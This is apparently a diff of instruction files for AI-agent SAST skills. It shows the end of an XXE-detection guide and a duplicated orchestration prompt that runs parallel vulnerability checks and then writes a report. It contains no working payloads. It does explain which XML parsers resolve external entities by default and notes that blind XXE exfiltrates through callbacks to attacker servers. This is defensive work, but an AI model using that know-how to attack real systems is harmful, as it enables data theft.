> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "XML source likely comes from user-uploaded file via helper function" or "Parser unhardened but input path partially unclear"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it's still a risk despite uncertainty]
> - **Remediation**: [Apply appropriate parser hardening]
> - **Dynamic Test**:
> ```
> [payload to attempt]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "XML is read from a bundled config file at startup with no user influence" or "defusedxml is used as the parser"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the input source or parser configuration could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `load_document()` in xml_utils.py to confirm whether its argument comes from a user request"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any XML parsing call that lacks explicit external entity hardening, regardless of where the input comes from. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each site found in Phase 1, trace the XML input back to its origin. If it comes from a user-controlled source, the site is a real vulnerability.
- **Parser defaults matter**: Java DOM/SAX, PHP SimpleXML/DOMDocument, and lxml all resolve external entities by default — they require explicit hardening. Python's `defusedxml` and Go's `encoding/xml` are safe by default.
- **Do not confuse `LIBXML_NOENT` with protection**: in PHP, `LIBXML_NOENT` **expands** entities into their values — it does NOT disable entity loading. Only `libxml_disable_entity_loader(true)` or `LIBXML_NONET` provides network-entity protection.
- **XInclude is a separate vector**: if `XIncludeAware` processing is enabled on Java parsers or `xi:include` is processed elsewhere, flag it separately — it can read local files without a classic `ENTITY` declaration.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Taint can flow indirectly: a file upload may be saved to disk in one handler, then parsed in another background job. Trace the full chain including asynchronous processing paths.
- Blind XXE (no output in response) is still exploitable via DNS or HTTP callbacks to attacker-controlled servers. Do not dismiss a finding just because the parsed XML is not echoed back.
+67
View File
@@ -0,0 +1,67 @@
# SAST Security Assessment
Your goal is to identify security vulnerabilities in the codebase located in the current directory.
---
## Step 1: Codebase Analysis & Threat Modeling
Before running, check if `sast/architecture.md` already exists. If it does, skip this step.
Run the sast-analysis skill directly (this one stays in-session since later steps depend on reading its output).
**Wait for this step to finish before proceeding.**
---
## Step 2: Vulnerability Detection (Parallel)
Run all checks at the same time. Skip any task where the output file already exists.
- Skip IDOR if `sast/idor-results.md` already exists.
- Skip SQLi if `sast/sqli-results.md` already exists.
- Skip SSRF if `sast/ssrf-results.md` already exists.
- Skip XSS if `sast/xss-results.md` already exists.
- Skip RCE if `sast/rce-results.md` already exists.
- Skip XXE if `sast/xxe-results.md` already exists.
- Skip File Upload if `sast/fileupload-results.md` already exists.
- Skip Path Traversal if `sast/pathtraversal-results.md` already exists.
- Skip SSTI if `sast/ssti-results.md` already exists.
- Skip JWT if `sast/jwt-results.md` already exists.
- Skip Missing Auth if `sast/missingauth-results.md` already exists.
- Skip Business Logic if `sast/businesslogic-results.md` already exists.
- Skip GraphQL injection if `sast/graphql-results.md` already exists.
Start **one subagent per check**, all **in parallel**, each with a dedicated task. Give each subagent the same instruction pattern, using the skill name and paths from the table:
> Read `sast/architecture.md` for context, then run the named SAST skill. Write all findings to that skill's results file. Clean up any intermediate recon or threat files for that skill when done.
| Skill | Results file | Typical intermediate files to clean |
|-------|----------------|--------------------------------------|
| sast-idor | `sast/idor-results.md` | `sast/idor-recon.md` |
| sast-sqli | `sast/sqli-results.md` | `sast/sqli-recon.md` |
| sast-ssrf | `sast/ssrf-results.md` | `sast/ssrf-recon.md` |
| sast-xss | `sast/xss-results.md` | `sast/xss-recon.md` |
| sast-rce | `sast/rce-results.md` | `sast/rce-recon.md` |
| sast-xxe | `sast/xxe-results.md` | `sast/xxe-recon.md` |
| sast-fileupload | `sast/fileupload-results.md` | `sast/fileupload-recon.md` |
| sast-pathtraversal | `sast/pathtraversal-results.md` | `sast/pathtraversal-recon.md` |
| sast-ssti | `sast/ssti-results.md` | `sast/ssti-recon.md` |
| sast-jwt | `sast/jwt-results.md` | `sast/jwt-recon.md` |
| sast-missingauth | `sast/missingauth-results.md` | `sast/missingauth-recon.md` |
| sast-businesslogic | `sast/businesslogic-results.md` | `sast/businesslogic-threats.md` |
| sast-graphql | `sast/graphql-results.md` | `sast/graphql-recon.md` |
Wait for all subagents to finish before proceeding.
---
## Step 3: Report Generation
After all subagents from Step 2 finish, generate the final consolidated report.
Skip this step if `sast/final-report.md` already exists.
Launch a single subagent:
> Read all available `sast/*-results.md` files and `sast/architecture.md` for context, then run the sast-report skill to generate `sast/final-report.md` with all findings ranked by severity and confidentiality impact.
+67
View File
@@ -0,0 +1,67 @@
# SAST Security Assessment
Your goal is to identify security vulnerabilities in the codebase located in the current directory.
---
## Step 1: Codebase Analysis & Threat Modeling
Before running, check if `sast/architecture.md` already exists. If it does, skip this step.
Run the sast-analysis skill directly (this one stays in-session since later steps depend on reading its output).
**Wait for this step to finish before proceeding.**
---
## Step 2: Vulnerability Detection (Parallel)
Run all checks at the same time. Skip any task where the output file already exists.
- Skip IDOR if `sast/idor-results.md` already exists.
- Skip SQLi if `sast/sqli-results.md` already exists.
- Skip SSRF if `sast/ssrf-results.md` already exists.
- Skip XSS if `sast/xss-results.md` already exists.
- Skip RCE if `sast/rce-results.md` already exists.
- Skip XXE if `sast/xxe-results.md` already exists.
- Skip File Upload if `sast/fileupload-results.md` already exists.
- Skip Path Traversal if `sast/pathtraversal-results.md` already exists.
- Skip SSTI if `sast/ssti-results.md` already exists.
- Skip JWT if `sast/jwt-results.md` already exists.
- Skip Missing Auth if `sast/missingauth-results.md` already exists.
- Skip Business Logic if `sast/businesslogic-results.md` already exists.
- Skip GraphQL injection if `sast/graphql-results.md` already exists.
Start **one subagent per check**, all **in parallel**, each with a dedicated task. Give each subagent the same instruction pattern, using the skill name and paths from the table:
> Read `sast/architecture.md` for context, then run the named SAST skill. Write all findings to that skill's results file. Clean up any intermediate recon or threat files for that skill when done.
| Skill | Results file | Typical intermediate files to clean |
|-------|----------------|--------------------------------------|
| sast-idor | `sast/idor-results.md` | `sast/idor-recon.md` |
| sast-sqli | `sast/sqli-results.md` | `sast/sqli-recon.md` |
| sast-ssrf | `sast/ssrf-results.md` | `sast/ssrf-recon.md` |
| sast-xss | `sast/xss-results.md` | `sast/xss-recon.md` |
| sast-rce | `sast/rce-results.md` | `sast/rce-recon.md` |
| sast-xxe | `sast/xxe-results.md` | `sast/xxe-recon.md` |
| sast-fileupload | `sast/fileupload-results.md` | `sast/fileupload-recon.md` |
| sast-pathtraversal | `sast/pathtraversal-results.md` | `sast/pathtraversal-recon.md` |
| sast-ssti | `sast/ssti-results.md` | `sast/ssti-recon.md` |
| sast-jwt | `sast/jwt-results.md` | `sast/jwt-recon.md` |
| sast-missingauth | `sast/missingauth-results.md` | `sast/missingauth-recon.md` |
| sast-businesslogic | `sast/businesslogic-results.md` | `sast/businesslogic-threats.md` |
| sast-graphql | `sast/graphql-results.md` | `sast/graphql-recon.md` |
Wait for all subagents to finish before proceeding.
---
## Step 3: Report Generation
After all subagents from Step 2 finish, generate the final consolidated report.
Skip this step if `sast/final-report.md` already exists.
Launch a single subagent:
> Read all available `sast/*-results.md` files and `sast/architecture.md` for context, then run the sast-report skill to generate `sast/final-report.md` with all findings ranked by severity and confidentiality impact.